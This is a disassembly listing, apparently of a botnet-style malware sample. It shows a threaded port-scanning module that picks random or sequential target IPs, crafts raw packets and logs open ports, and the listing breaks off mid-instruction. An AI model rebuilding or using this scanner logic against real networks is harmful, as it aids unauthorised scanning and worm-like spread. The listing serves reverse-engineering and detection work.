edx jnz loc_4230BF jmp short loc_423169 ; --------------------------------------------------------------------------- loc_42314A: ; CODE XREF: sub_422B40+5EFj mov ecx, [esp+7A0h+var_78C] mov [esp+7A0h+var_640], ecx lea eax, [ecx+ecx*2] lea eax, [eax+eax*4] mov edx, dword_445418[eax*4] mov [esp+7A0h+var_65C], edx loc_423169: ; CODE XREF: sub_422B40+608j or ebx, 0FFFFFFFFh loc_42316C: ; CODE XREF: sub_422B40+572j mov eax, [esp+7A0h+var_65C] test eax, eax jnz short loc_42318A lea ecx, [esi+2Ah] call sub_4014DD push eax push offset aScanInvalidPor ; "scan: invalid port" jmp loc_4232A5 ; --------------------------------------------------------------------------- loc_42318A: ; CODE XREF: sub_422B40+635j push offset asc_444600 ; " " lea edx, [esp+7A4h+var_788] push 5 push edx mov ecx, esi call sub_4016B8 push offset dword_4447F8 mov ecx, eax mov [esp+7A4h+var_4], 7 call sub_4013ED lea ecx, [esp+7A0h+var_788] mov edi, eax mov [esp+7A0h+var_4], ebx call sub_401226 test edi, edi jz loc_423267 push offset asc_444600 ; " " lea eax, [esp+7A4h+var_788] push 5 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 8 call sub_4017EE push eax lea ecx, [esp+7A4h+var_770] push 10h push ecx nop call near ptr 77C3FA76h add esp, 0Ch lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_444600 ; " " lea edx, [esp+7A4h+var_788] push 5 push edx mov ecx, esi call sub_4016B8 push 78h mov ecx, eax mov [esp+7A4h+var_4], 9 call sub_4017EE push eax call near ptr 77C47660h nop add esp, 8 lea ecx, [esp+7A0h+var_788] neg eax sbb eax, eax mov [esp+7A0h+var_4], ebx neg eax mov [esp+7A0h+var_630], eax call sub_401226 jmp loc_423396 ; --------------------------------------------------------------------------- loc_423267: ; CODE XREF: sub_422B40+688j push offset dword_4455E4 mov ecx, esi call sub_4013ED test eax, eax jnz short loc_4232C4 push offset off_4455E0 mov ecx, esi call sub_4013ED test eax, eax jnz short loc_4232C4 push offset aB ; " -b" mov ecx, esi call sub_4013ED test eax, eax jnz short loc_4232C4 lea ecx, [esi+2Ah] call sub_4014DD push eax push offset aScanNoIpSpecif ; "scan: no ip specified" loc_4232A5: ; CODE XREF: sub_422B40+645j mov al, [esi+94h] mov cl, [esi+93h] push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 loc_4232BD: ; CODE XREF: sub_422B40+132j mov al, 1 jmp loc_422F3B ; --------------------------------------------------------------------------- loc_4232C4: ; CODE XREF: sub_422B40+735j ; sub_422B40+745j ... mov ecx, dword_4D808D lea edx, [esp+7A0h+var_78C] lea eax, [esp+7A0h+var_788] push edx push eax push ecx mov [esp+7ACh+var_78C], 10h call near ptr 71AB951Eh nop push offset off_4455E0 mov ecx, esi call sub_4013ED mov edx, eax mov eax, [esp+79Ch+var_780] neg edx sbb edx, edx push 10h and edx, 0FFFF0100h add edx, 0FFFFh and eax, edx push eax mov [esp+7A4h+var_780], eax call near ptr 71AB3F41h nop push eax lea eax, [esp+7A8h+var_770] push eax call near ptr 77C47A90h nop add esp, 0Ch mov ecx, esi push offset dword_4455E4 call sub_4013ED test eax, eax jz short loc_42338B push offset off_4455E0 mov ecx, esi call sub_4013ED mov ebp, dword_511A9C mov edi, eax neg edi sbb edi, edi lea ecx, [esp+7A0h+var_770] neg edi push 30h push ecx add edi, 2 call ebp ; strrchr add esp, 8 xor bl, bl test edi, edi jle short loc_42337E loc_423362: ; CODE XREF: sub_422B40+83Cj test eax, eax jz short loc_42337E lea edx, [esp+7A0h+var_770] push 30h push edx mov byte ptr [eax], 78h call ebp ; strrchr add esp, 8 inc bl movsx ecx, bl cmp ecx, edi jl short loc_423362 loc_42337E: ; CODE XREF: sub_422B40+820j ; sub_422B40+824j mov [esp+7A0h+var_630], 1 jmp short loc_423396 ; --------------------------------------------------------------------------- loc_42338B: ; CODE XREF: sub_422B40+7F1j mov [esp+7A0h+var_630], 0 loc_423396: ; CODE XREF: sub_422B40+722j ; sub_422B40+849j mov edx, dword_4D808D xor eax, eax mov al, [esi+93h] lea edi, [esi+2Ah] mov ecx, edi mov [esp+7A0h+var_660], edx mov [esp+7A0h+var_638], 0 mov [esp+7A0h+var_634], eax call sub_4017EE push eax lea ecx, [esp+7A4h+var_760] push 80h push ecx nop call near ptr 77C3FA76h mov eax, [esp+7ACh+var_630] add esp, 0Ch test eax, eax mov [esp+7A0h+var_6E0], 0 mov eax, offset aRandom ; "random" jnz short loc_4233F8 mov eax, offset aSequential ; "sequential" loc_4233F8: ; CODE XREF: sub_422B40+8B1j mov edx, [esp+7A0h+var_644] mov ecx, [esp+7A0h+var_654] push edx mov edx, [esp+7A4h+var_658] push ecx mov ecx, [esp+7A8h+var_65C] push edx lea edx, [esp+7ACh+var_770] push ecx push edx push eax mov eax, [esp+7B8h+var_640] lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea ecx, ds:4453FAh[eax*4] push ecx push offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"... mov ecx, edi call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 push 0 lea ecx, [esp+7D4h+var_20C] push 3 push ecx call sub_401BEA add esp, 3Ch lea edx, [esp+7A0h+var_770] mov [esp+7A0h+var_650], eax push edx call sub_402284 mov al, 1 jmp loc_422F3B sub_422B40 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 260h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4236F0 proc near ; CODE XREF: sub_40114Fj arg_A6 = dword ptr 0AAh arg_AE = dword ptr 0B2h mov ecx, [esp+arg_AE] push ebx test ecx, ecx push offset byte_448F30 mov ecx, offset dword_449958 setnz bl call sub_4014DD push eax push ebx push ebx push offset byte_4D8075 call sub_401857 mov eax, [esp+18h+arg_A6] add esp, 14h lea eax, [eax+eax*2] pop ebx lea eax, [eax+eax*4] mov ecx, dword_445420[eax*4] inc ecx mov dword_445420[eax*4], ecx mov al, 1 retn sub_4236F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423760 proc near ; CODE XREF: sub_401E10j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 14h xor eax, eax lea ecx, [esp+14h+var_14] mov [esp+14h+var_10], eax lea edx, [esp+14h+var_10] mov [esp+14h+var_C], eax push ecx mov [esp+18h+var_8], eax push edx mov [esp+1Ch+var_4], eax mov eax, [esp+1Ch+arg_0] push eax mov [esp+20h+var_14], 10h nop call near ptr 71AB951Eh mov ecx, [esp+14h+var_C+3] mov edx, [esp+14h+var_C+2] mov eax, [esp+14h+var_C+1] and ecx, 0FFh push ecx mov ecx, [esp+18h+var_C] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx push offset aD_D_D_D ; "%d.%d.%d.%d" push offset dword_50FAA8 nop call sub_5F76F7 mov eax, offset dword_50FAA8 add esp, 2Ch retn sub_423760 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423820 proc near ; CODE XREF: sub_401F55j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, dword_50DB50[esi*8] push eax nop call near ptr 71AB2BC0h inc eax push eax nop call near ptr 71AB2BC0h mov dword_50DB50[esi*8], eax pop esi retn sub_423820 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423860 proc near ; CODE XREF: sub_401131j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h mov edx, [esp+10h+arg_0] push ebx or ebx, 0FFFFFFFFh push edi mov edi, edx mov ecx, ebx xor eax, eax mov [esp+18h+var_8], ebx repne scasb not ecx dec ecx mov [esp+18h+var_C], ebx cmp ecx, 0Fh mov [esp+18h+var_10], ebx mov [esp+18h+var_4], ebx jbe short loc_423892 pop edi pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_423892: ; CODE XREF: sub_423860+2Aj lea eax, [esp+18h+var_4] push esi lea ecx, [esp+1Ch+var_10] push eax push ecx lea eax, [esp+24h+var_C] lea ecx, [esp+24h+var_8] push eax push ecx push offset aD_D_D_D ; "%d.%d.%d.%d" push edx nop call near ptr 77C41B72h mov eax, [esp+34h+var_8] mov esi, dword_511AC8 add esp, 18h cmp eax, ebx jnz short loc_4238CA call esi ; rand mov [esp+1Ch+var_8], eax loc_4238CA: ; CODE XREF: sub_423860+62j cmp [esp+1Ch+var_C], ebx jnz short loc_4238D6 call esi ; rand mov [esp+1Ch+var_C], eax loc_4238D6: ; CODE XREF: sub_423860+6Ej cmp [esp+1Ch+var_10], ebx jnz short loc_4238E2 call esi ; rand mov [esp+1Ch+var_10], eax loc_4238E2: ; CODE XREF: sub_423860+7Aj mov eax, [esp+1Ch+var_4] cmp eax, ebx jnz short loc_4238EC call esi ; rand loc_4238EC: ; CODE XREF: sub_423860+88j mov edi, [esp+1Ch+var_10] mov edx, [esp+1Ch+var_C] shl eax, 8 mov ecx, [esp+1Ch+arg_4] add eax, edi shl eax, 8 add eax, edx mov edx, [esp+1Ch+var_8] shl eax, 8 add eax, edx pop esi pop edi mov dword_50DB50[ecx*8], eax pop ebx add esp, 10h retn sub_423860 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423950 proc near ; CODE XREF: sub_401E56j var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = word ptr -114h var_112 = word ptr -112h var_110 = dword ptr -110h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 120h push esi push edi mov edi, 1 push 0 push edi push 2 mov [esp+134h+var_120], edi nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_42397E pop edi xor eax, eax pop esi add esp, 120h retn ; --------------------------------------------------------------------------- loc_42397E: ; CODE XREF: sub_423950+21j mov ecx, [esp+128h+arg_4] mov eax, [esp+128h+arg_0] push ecx mov [esp+12Ch+var_114], 2 mov [esp+12Ch+var_110], eax call near ptr 71AB2B66h nop lea edx, [esp+128h+var_120] mov [esp+128h+var_112], ax push edx push 8004667Eh push esi nop call near ptr 71AB4519h lea eax, [esp+128h+var_114] push 10h push eax push esi nop call near ptr 71AB406Ah mov ecx, [esp+128h+arg_8] lea edx, [esp+128h+var_11C] push edx lea eax, [esp+12Ch+var_104] push 0 push eax push 0 push 0 mov [esp+13Ch+var_11C], ecx mov [esp+13Ch+var_118], 0 mov [esp+13Ch+var_100], esi mov [esp+13Ch+var_104], edi call near ptr 71AB2DC0h nop push esi mov edi, eax call near ptr 71AB9639h nop xor eax, eax test edi, edi pop edi pop esi setnle al add esp, 120h retn sub_423950 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_423A40: ; CODE XREF: ___:00401046j mov eax, 10110h call sub_437B30 push ebx push ebp mov ebp, dword_511C38 push esi push edi push 2649h call ebp ; ntohs mov [esp+24h], ax mov eax, [esp+1012Ch] push eax call ebp ; ntohs mov [esp+26h], ax nop call near ptr 77C371D3h xor ebx, ebx push 200h mov [esp+2Ch], eax mov [esp+30h], ebx mov [esp+34h], bx mov [esp+44h], bx mov word ptr [esp+36h], 5 mov [esp+38h], bx mov word ptr [esp+3Ah], 1 mov [esp+3Ch], bx mov [esp+3Eh], bx mov [esp+40h], bx mov [esp+42h], bx call ebp ; ntohs mov ecx, [esp+10124h] mov edx, [esp+10128h] push 24h mov [esp+46h], ax mov [esp+48h], bx mov [esp+4Ah], bx mov [esp+4Ch], ecx mov [esp+50h], edx mov [esp+54h], bl mov byte ptr [esp+55h], 6 call ebp ; ntohs mov [esp+52h], ax mov ecx, 9 lea esi, [esp+24h] lea edi, [esp+54h] lea eax, [esp+48h] push 20h rep movsd push eax call sub_401A37 mov edx, [esp+10134h] xor ecx, ecx mov [esp+1Ch], ecx add esp, 8 mov [esp+18h], ecx mov [esp+44h], ax mov [esp+1Ch], ecx push edx mov [esp+24h], ecx mov word ptr [esp+18h], 2 call ebp ; ntohs mov [esp+16h], ax mov eax, [esp+10128h] push 6 push 3 push 2 mov [esp+24h], eax mov dword ptr [esp+1Ch], 10h nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_423B69 push offset aSocketOpenFail ; "socket open failed" jmp loc_423C68 ; --------------------------------------------------------------------------- loc_423B69: ; CODE XREF: ___:00423B5Dj mov ecx, [esp+10h] lea edx, [esp+14h] push ecx push edx push ebx lea eax, [esp+30h] push 24h push eax push esi call near ptr 71AB2C69h nop mov edi, eax cmp edi, 14h jz short loc_423BC2 nop call near ptr 71AB94DCh push eax push edi lea ecx, [esp+70h] push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."... push ecx call sub_5F76F7 nop lea edx, [esp+78h] push edx call sub_4010D2 add esp, 14h push esi nop call near ptr 71AB9639h pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423BC2: ; CODE XREF: ___:00423B87j mov ecx, 400Dh xor eax, eax lea edi, [esp+0E8h] mov ebp, 2649h rep stosd stosw stosb cmp [esp+0FEh], bp jz short loc_423C13 mov edi, dword_511C64 loc_423BEA: ; CODE XREF: ___:00423C11j lea eax, [esp+10h] lea ecx, [esp+14h] push eax push ecx push ebx lea edx, [esp+0F4h] push 10037h push edx push esi call edi ; recvfrom test eax, eax jl short loc_423C42 cmp [esp+0FEh], bp jnz short loc_423BEA loc_423C13: ; CODE XREF: ___:00423BE2j push esi nop call near ptr 71AB9639h cmp word ptr [esp+10Eh], 1 jnz short loc_423C63 push offset aSocketOpen_ ; "Socket open." call sub_4010D2 add esp, 4 mov eax, 1 pop edi pop esi pop ebp pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423C42: ; CODE XREF: ___:00423C07j push offset aRecvfromSocket ; "recvfrom() socket failed" call sub_4010D2 add esp, 4 push esi call near ptr 71AB9639h nop pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423C63: ; CODE XREF: ___:00423C23j push offset dword_4456DC loc_423C68: ; CODE XREF: ___:00423B64j call sub_4010D2 add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_423D10: ; CODE XREF: ___:loc_401F41j sub esp, 290h mov eax, [esp+294h] push ebx push ebp push esi push edi mov ecx, 53h mov esi, eax lea edi, [esp+18h] rep movsd mov esi, [esp+13Ch] mov ecx, [esp+140h] mov [esp+10h], esi mov [esp+14h], ecx mov dword ptr [eax+148h], 1 nop call near ptr 27E0B10h push eax call near ptr 77C371BCh nop lea eax, [esi+esi*2] add esp, 4 shl eax, 4 sub eax, esi lea eax, [eax+eax*2] lea ebp, ds:44AF8Bh[eax*4] mov eax, dword_44B18F[eax*4] mov ecx, dword_50DB54[eax*8] test ecx, ecx jz loc_423FBE mov ebx, off_511C00 loc_423D8C: ; CODE XREF: ___:00423FB4j mov ecx, [esp+158h] push eax test ecx, ecx jz short loc_423DA7 lea edx, [esp+1Ch] push edx call sub_401131 add esp, 8 jmp short loc_423DAF ; --------------------------------------------------------------------------- loc_423DA7: ; CODE XREF: ___:00423D96j call sub_401F55 add esp, 4 loc_423DAF: ; CODE XREF: ___:00423DA5j mov ecx, [ebp+204h] mov edx, [esp+12Ch] mov edi, dword_511C88 mov esi, eax mov eax, [esp+14h] push eax push ecx push edx push esi call edi ; inet_ntoa push eax lea eax, [esp+230h] push offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"... push eax call ebx ; sub_5F76F7 lea ecx, [esp+238h] push ecx push ebp call ebx ; sub_5F76F7 mov edx, [esp+150h] mov eax, [esp+14Ch] push edx push eax push esi call sub_401E56 add esp, 2Ch cmp eax, 1 jnz loc_423F9A cmp dword ptr [esp+148h], 0FFFFFFFFh jnz loc_423EBF push offset dword_50FA90 call near ptr 7C901005h nop mov ecx, [esp+12Ch] push ecx push esi call edi ; inet_ntoa push eax lea edx, [esp+228h] push offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open." push edx call ebx ; sub_5F76F7 mov eax, [esp+164h] add esp, 10h test eax, eax jnz short loc_423E9F mov al, [esp+0A8h] test al, al jz short loc_423E7A mov eax, [esp+150h] lea ecx, [esp+220h] push eax mov eax, [esp+12Ch] lea edx, [esp+0ACh] push ecx push edx push eax jmp short loc_423E97 ; --------------------------------------------------------------------------- loc_423E7A: ; CODE XREF: ___:00423E56j mov ecx, [esp+150h] lea edx, [esp+220h] push ecx mov ecx, [esp+12Ch] lea eax, [esp+2Ch] push edx push eax push ecx loc_423E97: ; CODE XREF: ___:00423E78j call sub_40152D add esp, 10h loc_423E9F: ; CODE XREF: ___:00423E4Bj lea edx, [esp+220h] push edx call sub_4010D2 add esp, 4 push offset dword_50FA90 nop call near ptr 7C9010EDh jmp loc_423F9A ; --------------------------------------------------------------------------- loc_423EBF: ; CODE XREF: ___:00423E13j push esi call edi ; inet_ntoa push eax lea eax, [esp+16Ch] push eax call ebx ; sub_5F76F7 mov eax, [esp+150h] lea eax, [eax+eax*2] lea ecx, [eax+eax*4] lea eax, [esp+200h] lea edx, ds:4453F0h[ecx*4] push edx push eax call ebx ; sub_5F76F7 mov al, [esp+0B8h] add esp, 10h test al, al jz short loc_423F0C lea ecx, [esp+0A8h] lea edx, [esp+178h] push ecx push edx jmp short loc_423F19 ; --------------------------------------------------------------------------- loc_423F0C: ; CODE XREF: ___:00423EF8j lea eax, [esp+28h] lea ecx, [esp+178h] push eax push ecx loc_423F19: ; CODE XREF: ___:00423F0Aj call ebx ; sub_5F76F7 mov eax, [esp+158h] mov edx, [esp+130h] mov ecx, [esp+15Ch] mov [esp+21Ah], eax mov eax, [esp+18h] add esp, 8 mov [esp+164h], edx mov edx, [esp+12Ch] mov [esp+206h], eax mov eax, [esp+148h] sub esp, 0BCh mov [esp+2D2h], ecx mov ecx, 2Eh lea esi, [esp+220h] mov edi, esp mov [esp+2BEh], edx mov [esp+2C6h], eax lea eax, [eax+eax*2] rep movsd lea edx, [eax+eax*4] movsw call off_44541C[edx*4] add esp, 0BCh loc_423F9A: ; CODE XREF: ___:00423E05j ; ___:00423EBAj push 7D0h call near ptr 2821DE2h nop mov eax, [ebp+204h] mov ecx, dword_50DB54[eax*8] test ecx, ecx jnz loc_423D8C mov esi, [esp+10h] loc_423FBE: ; CODE XREF: ___:00423D80j push esi call sub_401E3D add esp, 4 push 0 call near ptr 2830000h nop nop ; --------------------------------------------------------------------------- db 7Dh dup(0CCh) byte_42404D db 33h dup(0CCh) ; DATA XREF: Themida_:00595576o ; --------------------------------------------------------------------------- loc_424080: ; CODE XREF: sub_402284j mov eax, [esp+4] sub esp, 1CCh mov ecx, 53h push ebx push ebp push esi push edi mov esi, eax lea edi, [esp+10h] mov ebx, 1 rep movsd mov [eax+144h], ebx lea eax, [esp+10h] push eax nop call near ptr 71AB2BF4h sub esp, 14Ch lea esi, [esp+15Ch] mov ecx, [esp+27Ch] mov edi, esp mov dword_50DB50[ecx*8], eax mov ecx, 53h rep movsd call j_nullsub_9 push 3 call sub_40148D add esp, 150h cmp eax, ebx jnz short loc_424101 push offset dword_50FA90 nop call near ptr 27807B0h push offset dword_50FA90 call near ptr 2780DB4h nop loc_424101: ; CODE XREF: ___:004240E9j mov edx, [esp+130h] mov eax, [esp+13Ch] mov ebp, dword_5118D8 mov esi, ebx mov dword_50DB54[edx*8], ebx cmp eax, ebx mov ebx, off_511C00 jb loc_424230 mov edi, dword_51186C loc_424132: ; CODE XREF: ___:0042422Aj mov eax, [esp+130h] mov ecx, [esp+124h] push esi push eax lea edx, [esp+18h] push ecx push edx lea eax, [esp+16Ch] push offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"... push eax mov [esp+150h], esi call ebx ; sub_5F76F7 push 0 lea ecx, [esp+178h] push 3 push ecx call sub_401BEA lea ecx, [eax+eax*2] add esp, 24h shl ecx, 4 sub ecx, eax push 0 push 0 mov [esp+13Ch], eax mov eax, [esp+138h] lea edx, [ecx+ecx*2] lea ecx, [esp+18h] push ecx push offset loc_401F41 push 0 push 0 mov dword_44B18F[edx*4], eax call edi mov edx, [esp+134h] lea ecx, [edx+edx*2] shl ecx, 4 sub ecx, edx lea edx, [ecx+ecx*2] mov dword_44B19F[edx*4], eax mov ecx, [esp+134h] lea eax, [ecx+ecx*2] shl eax, 4 sub eax, ecx lea eax, [eax+eax*2] mov ecx, dword_44B19F[eax*4] test ecx, ecx jz short loc_4241F8 mov eax, [esp+158h] test eax, eax jnz short loc_42421E loc_4241E7: ; CODE XREF: ___:004241F4j push 1Eh call ebp mov eax, [esp+158h] test eax, eax jz short loc_4241E7 jmp short loc_42421E ; --------------------------------------------------------------------------- loc_4241F8: ; CODE XREF: ___:004241DAj call near ptr 27C07F2h nop push eax lea ecx, [esp+160h] push offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "... push ecx call ebx ; sub_5F76F7 lea edx, [esp+168h] push edx call sub_4010D2 add esp, 10h loc_42421E: ; CODE XREF: ___:004241E5j ; ___:004241F6j push 1Eh call ebp inc esi cmp esi, [esp+13Ch] jbe loc_424132 loc_424230: ; CODE XREF: ___:00424126j mov eax, [esp+12Ch] test eax, eax jz short loc_42425E lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea eax, [eax+eax*4] lea eax, [eax+eax*4] lea eax, [eax+eax*4] shl eax, 5 push eax call ebp mov esi, 1 mov eax, [esp+12Ch] jmp short loc_424291 ; --------------------------------------------------------------------------- loc_42425E: ; CODE XREF: ___:00424239j mov ecx, [esp+130h] mov esi, 1 cmp dword_50DB54[ecx*8], esi jnz short loc_424291 loc_424273: ; CODE XREF: ___:00424288j push 7D0h call ebp mov edx, [esp+130h] cmp dword_50DB54[edx*8], esi jz short loc_424273 mov eax, [esp+12Ch] loc_424291: ; CODE XREF: ___:0042425Cj ; ___:00424271j mov ecx, [esp+130h] mov edx, [esp+124h] push eax push edx mov ecx, dword_50DB50[ecx*8] push ecx nop call near ptr 71AB3F41h push eax lea eax, [esp+168h] push offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"... push eax call ebx ; sub_5F76F7 mov eax, [esp+160h] add esp, 14h test eax, eax jnz short loc_4242F2 mov ecx, [esp+148h] lea edx, [esp+15Ch] push ecx mov ecx, [esp+124h] lea eax, [esp+24h] push edx push eax push ecx call sub_40152D add esp, 10h loc_4242F2: ; CODE XREF: ___:004242CBj lea edx, [esp+15Ch] push edx call sub_4010D2 mov eax, [esp+134h] add esp, 4 push 0BB8h mov dword_50DB54[eax*8], 0 call ebp push 3 call sub_40148D add esp, 4 cmp eax, esi jnz short loc_424334 push offset dword_50FA90 nop call near ptr 27807B0h loc_424334: ; CODE XREF: ___:00424327j mov ecx, [esp+130h] push ecx call sub_401E3D add esp, 4 push 0 nop call near ptr 2830000h nop nop nop nop ; --------------------------------------------------------------------------- db 0C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424410 proc near ; CODE XREF: sub_4012A8j mov eax, ecx mov dword ptr [eax+4], 0 mov dword ptr [eax], 0 retn sub_424410 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_424430: ; CODE XREF: ___:004015EBj mov edx, [esp+4] sub esp, 8 xor eax, eax push esi mov esi, ecx push edi mov edi, edx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push ecx push edx lea ecx, [esp+10h] call sub_401843 mov ecx, [eax] pop edi mov [esi], ecx mov edx, [eax+4] mov eax, esi mov [esi+4], edx pop esi add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424480 proc near ; CODE XREF: sub_401843j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push ebp mov ebp, [esp+8+arg_4] mov ebx, ecx push ebp nop call near ptr 77C2C407h mov edx, eax add esp, 4 test edx, edx jz short loc_4244D2 mov ecx, ebp push esi mov esi, ecx push edi xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+10h+arg_0] and ecx, 3 rep stosb mov ecx, ebp mov edi, edx mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebx and ecx, 3 rep movsb pop edi mov [ebx+4], ebp pop esi mov [ebx], edx pop ebp pop ebx retn 8 ; --------------------------------------------------------------------------- loc_4244D2: ; CODE XREF: sub_424480+16j mov eax, ebx pop ebp pop ebx retn 8 sub_424480 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424500 proc near ; CODE XREF: sub_4021F8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] push ebx mov ebx, ecx push ebp mov ecx, [esp+8+arg_C] lea ebp, [eax+ecx] push ebp nop call near ptr 77C2C407h mov edx, eax add esp, 4 test edx, edx jz short loc_424574 mov ecx, ebp push esi mov esi, ecx push edi xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+10h+arg_0] and ecx, 3 rep stosb mov ecx, [esp+10h+arg_4] mov edi, edx mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [esp+10h+arg_C] mov esi, [esp+10h+arg_8] lea edi, [edx+eax] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebx and ecx, 3 rep movsb pop edi mov [ebx+4], ebp pop esi mov [ebx], edx pop ebp pop ebx retn 10h ; --------------------------------------------------------------------------- loc_424574: ; CODE XREF: sub_424500+1Dj mov eax, ebx pop ebp pop ebx retn 10h sub_424500 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4245A0 proc near ; CODE XREF: sub_4016C2j push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_4245B3 push eax call near ptr 77C2C21Bh nop add esp, 4 loc_4245B3: ; CODE XREF: sub_4245A0+7j mov dword ptr [esi+4], 0 mov dword ptr [esi], 0 pop esi retn sub_4245A0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4245E0 proc near ; CODE XREF: sub_4010A0j var_4 = dword ptr -4 push ecx push ebx mov ebx, ecx push ebp push esi mov eax, [ebx+4] cmp eax, 0FFFFh jl short loc_4245F7 pop esi pop ebp xor al, al pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4245F7: ; CODE XREF: sub_4245E0+Ej xor ecx, ecx cmp eax, 7Fh setnl cl dec ecx and ecx, 0FFFFFFFEh add ecx, 3 mov esi, ecx add eax, esi mov [esp+10h+var_4], esi push eax call near ptr 77C2C407h nop mov ebp, eax add esp, 4 test ebp, ebp jnz short loc_424625 pop esi pop ebp xor al, al pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_424625: ; CODE XREF: sub_4245E0+3Cj push edi mov edi, [ebx+4] mov ecx, esi xor eax, eax add ecx, edi mov edi, ebp mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 cmp esi, 1 rep stosb jnz short loc_424654 mov al, [ebx+4] lea edi, [ebp+1] mov [ebp+0], al mov ecx, [ebx+4] mov esi, [ebx] jmp short loc_42466F ; --------------------------------------------------------------------------- loc_424654: ; CODE XREF: sub_4245E0+62j mov byte ptr [ebp+0], 82h mov eax, [ebx+4] sar eax, 8 mov [ebp+1], al mov cl, [ebx+4] mov [ebp+2], cl mov ecx, [ebx+4] mov esi, [ebx] lea edi, [ebp+3] loc_42466F: ; CODE XREF: sub_4245E0+72j mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebx] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+18h+var_4] mov eax, [ebx+4] add esp, 4 add eax, ecx mov [ebx], ebp mov [ebx+4], eax pop edi pop esi pop ebp mov al, 1 pop ebx pop ecx retn sub_4245E0 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4246D0 proc near ; CODE XREF: sub_401B7Cj var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 8 push ebx push ebp mov ebp, ecx mov eax, [ebp+4] mov ecx, [ebp+0] push eax push ecx push 1 push offset dword_448F34 lea ecx, [esp+20h+var_8] call sub_4021F8 lea ecx, [esp+10h+var_8] call sub_4010A0 mov edx, [esp+10h+var_4] inc edx push edx call near ptr 77C2C407h nop mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_424715 pop ebp xor al, al pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_424715: ; CODE XREF: 